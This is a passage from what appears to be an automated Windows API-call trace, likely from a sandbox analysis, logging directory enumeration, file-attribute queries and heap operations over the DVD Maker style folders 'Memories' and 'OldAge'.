nFileSizeLow=0xc47, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 1 [0068.177] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc47, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 0 [0068.178] GetLastError () returned 0x12 [0068.178] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0068.178] FindClose (in: hFindFile=0x2e9140 | out: hFindFile=0x2e9140) returned 1 [0068.178] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.178] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710d74af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710d74af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb08f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0068.178] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710fd60c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710fd60c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc32, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0068.178] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71123769, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71123769, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0068.178] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711498c6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711498c6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-overlay.png", cAlternateFileName="")) returned 1 [0068.178] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71254251, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71254251, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2f993, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0068.178] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0068.178] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x280e, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0068.178] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2808, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0068.178] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x946, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0068.178] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711e1e3a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711e1e3a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6bbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-overlay.png", cAlternateFileName="")) returned 1 [0068.178] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71207f97, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71207f97, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb53, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memories_buttonClear.png", cAlternateFileName="")) returned 1 [0068.178] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7122e0f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7122e0f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_btn-back-static.png", cAlternateFileName="")) returned 1 [0068.178] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7127a3ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7127a3ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a7ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_content-background.png", cAlternateFileName="")) returned 1 [0068.178] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710b1352, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710b1352, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="scrapbook.png", cAlternateFileName="")) returned 1 [0068.178] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712c6668, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712c6668, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x390c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_content-background.png", cAlternateFileName="")) returned 1 [0068.178] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2c6fe3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1368, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_mainImage-mask.png", cAlternateFileName="")) returned 1 [0068.178] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc47, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 1 [0068.178] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc47, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_select-highlight.png", cAlternateFileName="")) returned 0 [0068.178] GetLastError () returned 0x12 [0068.179] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.179] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0068.179] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa0ad40) returned 1 [0068.179] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0068.179] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e96ab6a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e96ab6a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="menu_style_default_Thumbnail.png", cAlternateFileName="")) returned 1 [0068.179] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.179] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef11f38, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef11f38, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0068.179] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef38095, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef38095, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.179] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef5e1f2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef5e1f2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0068.179] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.180] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0068.180] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OldAge", cAlternateFileName="")) returned 1 [0068.180] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.180] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0068.180] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0068.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa16a38 [0068.180] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa16a38, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xa16a38, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0068.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa16a38) returned 1 [0068.180] NtClose (Handle=0x124) returned 0x0 [0068.180] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08398) returned 1 [0068.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08398 [0068.180] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.181] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0068.181] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0068.782] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f465237, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7ae1d4, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f48b4a6, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.788] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fcc1ca4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fcc1ca4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0068.792] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.797] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.798] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.802] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.807] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa0ad40 [0068.809] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa086c8) returned 1 [0068.809] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11b88 [0068.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa128a0 [0068.876] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.876] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fce7e01, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fce7e01, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0068.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.876] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.876] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11ba8 [0068.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa086c8 [0068.876] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.876] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd0df5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd0df5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x183b, dwReserved0=0x0, dwReserved1=0x0, cFileName="decorative_rule.png", cAlternateFileName="")) returned 1 [0068.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.876] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.876] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11bc8 [0068.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa129a8 [0068.876] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.876] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fdcc62f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fdcc62f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0068.876] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.877] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.877] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa11be8 [0068.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa12ab0 [0068.877] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.877] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fd80375, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fd80375, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0068.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.877] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.877] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08860) returned 1 [0068.877] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08860 [0068.877] 